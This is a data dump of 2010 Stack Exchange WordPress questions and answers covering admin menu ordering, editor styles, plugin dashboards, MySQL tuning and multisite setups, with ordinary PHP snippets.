  <row Id="1205" PostTypeId="2" ParentId="1197" CreationDate="2010-09-01T19:48:46.360" Score="0" ViewCount="" Body="&lt;p&gt;Well, first of all, you're using Apache and Nginx -- kind of redundant. You should be using Nginx/FastCGI w/PHP. The tutorial at this site should help out. Otherwise, my best guess is that some recent change to your code is causing some bug in PHP to not release memory properly. There's not reason that an Apache process should consume that much memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://interfacelab.com/nginx-php-fpm-apc-awesome/&quot; rel=&quot;nofollow&quot;&gt;http://interfacelab.com/nginx-php-fpm-apc-awesome/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@kenkeiter&lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T19:48:46.360" CommentCount="1" />
  <row Id="1206" PostTypeId="2" ParentId="1198" CreationDate="2010-09-01T20:34:07.677" Score="1" ViewCount="" Body="&lt;p&gt;If this is for a menu, I would suggest you you look at the new Nav Menu system in Wordpress 3.0. You can create a menu from any group of pages, posts, or even external links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get to it in the admin section at Appearance → Menus&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here is the &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;codex page about the SubPanel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Here is the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;codex function reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-09-01T20:34:07.677" CommentCount="2" />
  <row Id="1207" PostTypeId="2" ParentId="1195" CreationDate="2010-09-01T21:14:43.197" Score="0" ViewCount="" Body="&lt;p&gt;WordPress doesn't wrap &lt;code&gt;&amp;lt;image /&amp;gt;&lt;/code&gt; tags with &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements by default ... so there's probably something in your theme or a plug-in on your site that's adding the element wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest switching to the default TwentyTen theme and disabling plug-ins to compare the generated markup.  Then re-enable plug-ins one at a time and switch back to your theme to see which set of code is adding the unwanted &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; blocks.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-01T21:14:43.197" CommentCount="1" />
  <row Id="1208" PostTypeId="2" ParentId="1121" CreationDate="2010-09-01T21:44:39.193" Score="0" ViewCount="" Body="&lt;p&gt;I would recommend buying a copy of &quot;&lt;a href=&quot;http://digwp.com/book/&quot; rel=&quot;nofollow&quot; title=&quot;Digging into WordPress&quot;&gt;Digging into WordPress&lt;/a&gt;&quot; by Chris Coyier &amp;amp; Jeff Starr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This book goes pretty in depth, but with some nicely written copy and with good examples. These two guys knows their stuff, so I recommend this book to you, as I have recommended it to many others.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2010-09-01T21:44:39.193" CommunityOwnedDate="2010-09-04T23:21:01.927" />
  <row Id="1209" PostTypeId="1" AcceptedAnswerId="1211" CreationDate="2010-09-01T22:14:40.937" Score="1" ViewCount="195" Body="&lt;p&gt;The textarea in which posts are written and edited doesn't handle image layout very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/MGpPL.png&quot; alt=&quot;edit post textarea with photos&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inserted images seem to be aligned with the left edge of the textarea, or the right edge of the previous image.  This is often hard to work with, and users have to understand that this isn't the way they will show up once published.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm after a better-looking, and more usable layout.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to ALWAYS have non-floated images appear left justified and stacked one on top of the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this solved by modifying the admin css, or does the formatting of images in the textarea accomplished another way?&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-03T09:44:28.330" Title="Format the Layout of Images In The Edit Post Textarea?" Tags="&lt;posts&gt;&lt;images&gt;&lt;writing&gt;&lt;formatting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1210" PostTypeId="1" AcceptedAnswerId="1217" CreationDate="2010-09-01T22:18:26.203" Score="-3" ViewCount="112" Body="&lt;p&gt;Hay I am creating my first wordpress plugin. Everything is going well so far. I have been able to add a new navigation tab to the dashboard which links to a function which basicalliy uses 'include' to spit the content of a HTML page onto the wordpress admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'rooms_menu');&#xA;&#xA;function rooms_menu() {&#xA;    add_menu_page('Rooms', 'Rooms', 'read', 'rooms-admin', 'show_hotel_dashboard', '' , 9);&#xA;}&#xA;&#xA;function show_hotel_dashboard(){&#xA;    include 'dashboard.html';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pretty straight forward, the dashboard.html page is a very simple html page. Now, heres my issue, within this dasboard.html page, how do i link some links to functions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say i have a link which is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href='do_action.php'&amp;gt;Do action&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i click that link it actually goes to do_action.php not the action within my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2010-09-03T02:22:49.100" Title="wordpress plugin noob situation" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="1211" PostTypeId="2" ParentId="1209" CreationDate="2010-09-01T23:01:30.543" Score="1" ViewCount="" Body="&lt;p&gt;Add this to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;add_editor_style();&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default that function will load a file called &lt;code&gt;editor-style.css&lt;/code&gt; which is located in the root directory of your theme. The functions accepts a filename or an array of filenames as parameter. Reference in the Codex:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_editor_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_editor_style&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want (or need to have) more control over the custom CSS file name and location you can use this function instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_editor_style($url) {&#xA;&#xA;  if ( !empty($url) )&#xA;    $url .= ',';&#xA;&#xA;  // Change the path here if using sub-directory&#xA;  $url .= trailingslashit( get_stylesheet_directory_uri() ) . 'editor-style.css';&#xA;&#xA;  return $url;&#xA;}&#xA;add_filter('mce_css', 'custom_editor_style');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="626" LastEditorUserId="626" LastEditorDisplayName="" LastEditDate="2010-09-03T09:44:28.330" LastActivityDate="2010-09-03T09:44:28.330" CommentCount="4" />
  <row Id="1212" PostTypeId="2" ParentId="1177" CreationDate="2010-09-01T23:04:21.883" Score="10" ViewCount="" Body="&lt;p&gt;I've developed a 55k product ecommerce site using Wordpress with the Shopp plugin and can share what I've done to MySQL to eke out better performance, YMMV and some (or all) of these may not apply to your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Determine how much you need to increase buffers/caches by by looking at the output from a &quot;show status&quot; sql command - there are tools which pretty up this output which may be useful, I often just use phpmyadmin to get an idea.  &lt;a href=&quot;http://blog.mysqltuner.com/&quot; rel=&quot;nofollow&quot;&gt;http://blog.mysqltuner.com/&lt;/a&gt; is a handy resource and utility too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your query cache is on and that it's large enough to have a very low low memory punes number.  Make sure your the number of key reads is not too high (this being a relative value), increasing key_buffer_size can help with that.  Make sure that the number of temporary tables being created is low, reduce that number by increasing tmp_table_size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on the slow query log and log slow queries, re-run those queries manually with explain statements, add indexes change column types, etc, as needed.  For one query we were getting insane explain statements (as in comparing many, many more rows than it &quot;should&quot; have been), upgrading to a newer version of MySQL caused that same query to be much better optimized (and much quicker) by MySQL itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using full-text indexing I don't believe InnoDB tables are an option - just don't update products during your busy times.  If your ecommerce package supports it you can minimize customer disruption (performance or otherwise) by making changes on your staging server and then moving over just the product tables with a dump from stage and loading onto production - this &lt;em&gt;will not&lt;/em&gt; work without some additional work for the rest of your Wordpress installation however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site design and UX can support it guiding the users into a &quot;browsing&quot; mode vs. a &quot;searching&quot; mode (eg: clicking around a site vs typing searches into the search box) can help you take advantage of some very easy database level and Wordpress level caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre-load your caches - easy caching like query caches and Wordpress-level caching can also be pre-loaded by spidering your site with wget.  You can also pre-load the cache for searches by using user search behavior (via your logs) and re-getting those requests when you need to fill the caches.&lt;/p&gt;&#xA;" OwnerUserId="668" LastActivityDate="2010-09-01T23:04:21.883" CommentCount="2" />
  <row Id="1214" PostTypeId="1" CreationDate="2010-09-01T23:25:34.540" Score="0" ViewCount="111" Body="&lt;p&gt;[NOTE: Cross-posted from wordpress.org/support/topic/caption-shortcode-inserts-blank-paragraph to see which site gets a better answer. :]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am setting up a new blog, no plugins yet. I inserted a photo in to a post, align right, with a caption. When I view the post in The zen light theme or the default theme I get a blank paragraph rendered above the image. Why is that and how can I change that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.the99ers.net/2010/09/hello/&quot; rel=&quot;nofollow&quot;&gt;http://www.the99ers.net/2010/09/hello/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant code reads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;div id=&quot;attachment_19&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I am pretty sure I want to drop the outer P and just have the DIV float where it needs to go.  Why is it doing what it is doing and how can I make it down what I want?  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely,&#xA;-danny&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2010-09-01T23:42:13.383" Title="caption shortcode inserts blank paragraph" Tags="&lt;image&gt;" AnswerCount="1" />
  <row Id="1215" PostTypeId="2" ParentId="1214" CreationDate="2010-09-01T23:42:13.383" Score="1" ViewCount="" Body="&lt;p&gt;Short answer is something got trimmed from the markup inserted in to the post.  I switched to the HTML editor, deleted and reinserted the shortcode, and everything looked fine.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2010-09-01T23:42:13.383" />
  <row Id="1216" PostTypeId="1" AcceptedAnswerId="1222" CreationDate="2010-09-01T23:46:38.083" Score="4" ViewCount="2230" Body="&lt;p&gt;I am getting a bit frustrated over here after having spent a few hours trying to accomplish this fairly simple task without any luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I have 5 custom post types which I created and all I want to do is show each of them in a specific order directly under the &lt;em&gt;&quot;dashboard&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the WordPress documentation it seems that you can't really do this because the highest menu order seems to be &quot;5&quot;. And above&#xA;L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing some expert reading this can show me the simple way that I can order the admin menu exactly the way I want to by utilizing the functions file and without utilizing a plugin (which I know exists).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please go ahead and try to create 5 separate post types and include them in a specific order directly under the dashboard... it seems this is not possible.??... is there some type of jquery hack to make this work that someone could share with me or preferably without utilizing jQuery?&lt;/p&gt;&#xA;" OwnerUserId="1084" LastEditorUserId="1084" LastEditorDisplayName="" LastEditDate="2010-10-13T03:37:59.337" LastActivityDate="2011-08-22T22:11:52.447" Title="Changing the Order of Admin Menu Sections?" Tags="&lt;custom-menus&gt;&lt;wp-admin&gt;&lt;admin&gt;" AnswerCount="4" FavoriteCount="6" />
  <row Id="1217" PostTypeId="2" ParentId="1210" CreationDate="2010-09-02T00:46:04.183" Score="1" ViewCount="" Body="&lt;p&gt;Rather than include an HTML file, include a PHP file instead.  Then, at the top of your PHP file you can check to see if any data's been submitted and process it before displaying the form.  So instead of what you have, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_hotel_dashboard(){&#xA;    include 'dashboard.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the page do things like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;dashboard.php?action=do_something&quot;&amp;gt;Do something&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in your &lt;code&gt;dashboard.php&lt;/code&gt; file, start with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if($_POST[&quot;action&quot;] == &quot;do_something&quot;) {&#xA;&#xA;    // Do something&#xA;&#xA;} else {&#xA;&#xA;    // Output your regular dashboard page&#xA;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-02T00:46:04.183" CommentCount="2" />
  <row Id="1218" PostTypeId="1" AcceptedAnswerId="1221" CreationDate="2010-09-02T01:09:54.140" Score="3" ViewCount="107" Body="&lt;h2&gt;To Separate or Not to Separate...That is the Question?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I currently have what I believe is a mistake in my site architecture.  I initially built my two lines of business into the same site.  Engineering/Design work and Equipment Liquidation.  Learning the hard way I realize I need dedicated domains.  I plan to use the same look and feel for both but have 2 separate domains/subdomains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is should I install a separate instance of WP for each or simply build it in the same structure with a different landing page and limited navigation between each.  Obviously the latter is easier initially but I am concerned this would cause further difficulty later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have experience with this sort of situation?  The theme I am using will support this but I am not convinced it is a good plan.  Feel free to look at the site &lt;a href=&quot;http://realitycramp.com&quot; rel=&quot;nofollow&quot;&gt;http://realitycramp.com&lt;/a&gt;, just be gentle in terms of criticism as it is a work in progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Amazed at the quality of contribution on this site.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-02T02:02:50.570" LastActivityDate="2010-09-02T02:02:50.570" Title="Splitting an Evolving Site into Multiple Sites, or Maintaining as One Site?" Tags="&lt;themes&gt;&lt;3.0.1&gt;&lt;development&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="1219" PostTypeId="1" CreationDate="2010-09-02T01:21:13.583" Score="1" ViewCount="43" Body="&lt;p&gt;I'm trying to find a WordPress.com theme I can use that supports a custom menu, but that also works on IE6.0.  The Twenty Ten theme is the one I'm currently using, but the drop-down menus don't work on IE6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-d&lt;/p&gt;&#xA;" OwnerUserId="581" LastActivityDate="2010-09-02T03:10:14.387" Title="Is there a wordpress.com theme that supports custom menus that work with IE6?" Tags="&lt;wordpress.com&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="1220" PostTypeId="2" ParentId="1216" CreationDate="2010-09-02T01:22:33.970" Score="6" ViewCount="" Body="&lt;p&gt;Here's a quick walkthrough of how the WordPress admin menu is built - I'm not talking the &lt;code&gt;add_menu_page&lt;/code&gt; API, I mean the actual default WordPress menu.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Calling the Menu File&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The menu is, obviously, loaded by &lt;code&gt;wp-admin/admin.php&lt;/code&gt;.  But it's not loaded through the standard API we're used to using based on the WordPress documentation.  Rather, the entire menu (all possible options, submenus, etc) are loaded via a simple array that's defined in &lt;code&gt;wp-admin/menu.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to load the menu system, &lt;code&gt;admin.php&lt;/code&gt; just &lt;code&gt;require&lt;/code&gt;s &lt;code&gt;menu.php&lt;/code&gt; ... around line 99 in WordPress 3.0.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Loading the Menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The menu itself is stored in the global array &lt;code&gt;$menu&lt;/code&gt;.  According to the in-line documentation, the menu array has these elements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The elements in the array are:&#xA;    *     0: Menu item name&#xA;    *     1: Minimum level or capability required.&#xA;    *     2: The URL of the item's file&#xA;    *     3: Class&#xA;    *     4: ID&#xA;    *     5: Icon for top level menu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The dashboard, for example, is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu[2] = array( __('Dashboard'), 'read', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'div' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file goes through and loads each menu item into the array and loads all of their sub-menu items into an array called &lt;code&gt;$submenu&lt;/code&gt; that indexes based on the parent menu's url.  So the Dashboard's submenu item called &quot;Dashboard&quot; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $submenu[ 'index.php' ][0] = array( __('Dashboard'), 'read', 'index.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the system is done loading all the menus (there aren't that many, but the system steps through the index at time by 5 or 10 ... notice that the Dashboard, even though it's the first menu item, is still indexed as item &quot;2&quot; (PHP arrays start at index 0 ... so this gives you some maneuvering room).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, the system calls &lt;code&gt;wp-admin/includes/menu.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stepping through the Menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This third file walks through each menu item and, based on the privileges assigned to the current user, either uses the menu or removes it.  First it loops through all the sub-menus and removes pages the user can't access.  Then it loops through parent pages and does the same thing.  Then it removes any duplicate separators that remain from having eliminated menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, it sorts the menus based on their assigned menu order.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Ordering custom menus&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The hook &lt;code&gt;admin_menu&lt;/code&gt; is called after menus are set up but &lt;em&gt;before&lt;/em&gt; anything is ordered.  So it's possible to order the entire WordPress menu system without &quot;hacking&quot; the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the action &lt;code&gt;admin_menu&lt;/code&gt; is fired, your custom pages are loaded into the system.  The next thing that happens, is WordPress checks a filter called &lt;code&gt;custom_menu_order&lt;/code&gt; ... this filter is always returned &lt;code&gt;false&lt;/code&gt; and tells WordPress whether or not you want to use a custom order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to your theme to set the flag to &lt;code&gt;true&lt;/code&gt; instead and define your explicit menu order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_menu_order($menu_ord) {&#xA;       if (!$menu_ord) return true;&#xA;       return array('index.php', 'edit.php', 'edit-comments.php');&#xA;}&#xA;&#xA;add_filter('custom_menu_order', 'custom_menu_order');&#xA;add_filter('menu_order', 'custom_menu_order');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specify the order you want for all of the menus (I supplied references to the menu-loading file so you can get a list of filenames) and this should take care of it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;EDIT (9/2/2010):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To specify the order of a custom post type's edit screen using this method, you need to know the URL of the edit screen.  I most cases, it will be &lt;code&gt;http://blog.url/wp-admin/edit.php?post_type=POST_TYPE&lt;/code&gt;.  This depends on how WordPress is set up on your site (if it's installed in the root or in a subfolder) and the slug of the custom post type you're using.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;For example...&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a custom post type for 'Stack Exchange Questions' and you want the editor to appear in the same section as the dashboard directly below the dashboard icon.  You'd use the following code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_menu_order($menu_ord) {&#xA;       if (!$menu_ord) return true;&#xA;       return array('index.php', 'edit.php?post_type=stack_exchange_questions');&#xA;}&#xA;&#xA;add_filter('custom_menu_order', 'custom_menu_order');&#xA;add_filter('menu_order', 'custom_menu_order');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest of the menu will be unaffected, but your custom edit page will be moved to the same section as the dashboard and will appear immediately below it.  You can use this to move your custom post types to any section of the admin menu and place them in any order.  You can also move standard menu items around the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just make sure you specify the order of all menu items in the given section&lt;/em&gt;, otherwise your menu might be subject to some unexpected weirdness.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-11-17T20:27:37.490" LastActivityDate="2010-11-17T20:27:37.490" CommentCount="3" />
  <row Id="1221" PostTypeId="2" ParentId="1218" CreationDate="2010-09-02T01:30:49.940" Score="3" ViewCount="" Body="&lt;p&gt;Some time ago, I started a site that served as my professional portfolio.  It was running on WordPress, so when I decided to add a blog it was really easy to just flip a switch and start writing.  As time went on, though, I realized that the blog and the portfolio served totally different purposes - and I wanted to add a third feature for creative writing (not related to my portfolio or my professional/business blog in any way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, my portfolio was on my domain and I added a second WordPress installation on a subdomain.  This worked, but it was a pain to manage.  I had two copies of every plug-in, two copies of WordPress, and two copies of my theme.  Whenever an upgrade came out, I had to do everything &lt;em&gt;twice&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added my third site (on a second subdomain), this added a third set of steps.  It wasn't a scalable solution &lt;em&gt;at all&lt;/em&gt;.  And this is the same scenario I see you in today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three ways you can move forward:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Separate WordPress installations&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is quick, easy, and pretty much foolproof.  But I guarantee you'll run into effort and scalability issues in the future.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://wp-hive.com/&quot; rel=&quot;nofollow&quot;&gt;WP-Hive&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My solution was to install a plug-in on top of WordPress (pre-3.0) that allowed me to host multiple sites off the same installation.  It worked well - I created 3 separate domains and pointed them all at the same folder on my server.  WordPress handles the database and all the routing.  Now I have one installation, one set of plug-ins to update, and one central group of themes to work with.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress MultiSite&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;With 3.0 came the ability to host multiple sites on multiple domains from a single instance of WordPress.  I &lt;strong&gt;highly&lt;/strong&gt; recommend anyone with a multiple-site infrastructure to migrate to this solution.  It's easier to maintain than either of the solutions presented above and makes your system scalable (whether you think you'll grow now is immaterial ... but if you do the work now and grow later, you'll be thanking your younger, wiser self).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-02T01:30:49.940" CommentCount="3" />
  <row Id="1222" PostTypeId="2" ParentId="1216" CreationDate="2010-09-02T01:56:40.127" Score="12" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@BinaryBit:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's no wonder you are a bit frustrated; the admin menu is one of the most obtuse and frustrating implementations through WordPress core. Honestly, I don't know what they were thinking when they designed it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@EAMann&lt;/em&gt; did an &lt;strong&gt;&lt;em&gt;excellent&lt;/em&gt;&lt;/strong&gt; job of explaining how the admin menus work in WordPress (I wish I had been able to read that about 4 months ago... :)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, after I figured it out how it worked I was still at a loss to work with it without devoting enough time to keep my head straight while I tried to do simple things. &lt;strong&gt;So that's why I built a Menu API&lt;/strong&gt; that simplifies and streamlines working with the WordPress admin menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are 100% compatible with WordPress' existing structures and still very much in alpha since I've been the only one using it. I'm sure there are use-cases they do not yet handle. But I'll post the code here for you and others to try out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;strong&gt;download&lt;/strong&gt; the file to drop in your theme's directory here: &lt;a href=&quot;https://gist.github.com/792b7aa5b695d1092520&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;wp-admin-menu-classes.php&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; and what follows shows how you might call the functions in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once('wp-admin-menu-classes.php');&#xA;add_action('admin_menu','my_admin_menu');&#xA;function my_admin_menu() {&#xA;  swap_admin_menu_sections('Pages','Posts');              // Swap location of Posts Section with Pages Section&#xA;  rename_admin_menu_section('Media','Photos &amp;amp; Video');    // Rename Media Section to &quot;Photos &amp;amp; Video&quot;&#xA;  delete_admin_menu_section('Links');                     // Get rid of Links Section&#xA;  $movie_tags_item_array = get_admin_menu_item_array('Movies','Movie Tags');  // Save off the Movie Tags Menu&#xA;  update_admin_menu_section('Movies',array(               // Rename two Movie Menu Items and Delete the Movie Tags Item&#xA;    array('rename-item','item'=&amp;gt;'Movies','new_title'=&amp;gt;'List Movies'),&#xA;    array('rename-item','item'=&amp;gt;'Add New','new_title'=&amp;gt;'Add Movie'),&#xA;    array('delete-item','item'=&amp;gt;'Movie Tags'),&#xA;  ));&#xA;  copy_admin_menu_item('Movies',array('Actors','Add New')); // Copy the 'Add New' over from Actors&#xA;  renamed_admin_menu_item('Movies','Add New','Add Actor');  // Rename copied Actor 'Add New' to 'Add Actor&#xA;  add_admin_menu_item('Movies',array(                       // (Another way to get a 'Add Actor' Link to a section.)&#xA;    'title' =&amp;gt; 'Alt Add Actor ',&#xA;    'slug' =&amp;gt; 'post-new.php?post_type=actor',&#xA;  ), array(// Add Back the Movie Tags at the end.&#xA;    'where'=&amp;gt;'end'&#xA;  ));&#xA;  add_admin_menu_item('Movies',$movie_tags_item_array,array(// Add Back the Movie Tags at the end.&#xA;    'where'=&amp;gt;'end'&#xA;  ));&#xA;  delete_admin_menu_section('Actors');                      // Finally just get rid of the actors section&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's more, these functions are even &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12718&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;under consideration (as a base) for inclusion in WordPress 3.1&lt;/strong&gt;&lt;/a&gt; so if we're lucky these might even become standard!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-02T01:56:40.127" CommentCount="2" />
  <row Id="1223" PostTypeId="2" ParentId="1219" CreationDate="2010-09-02T03:10:14.387" Score="1" ViewCount="" Body="&lt;p&gt;check the atahualpa theme at &lt;a href=&quot;http://wordpress.bytesforall.com/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.bytesforall.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it and it works well in IE6 on the machines I have tested it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-02T03:10:14.387" CommentCount="1" />
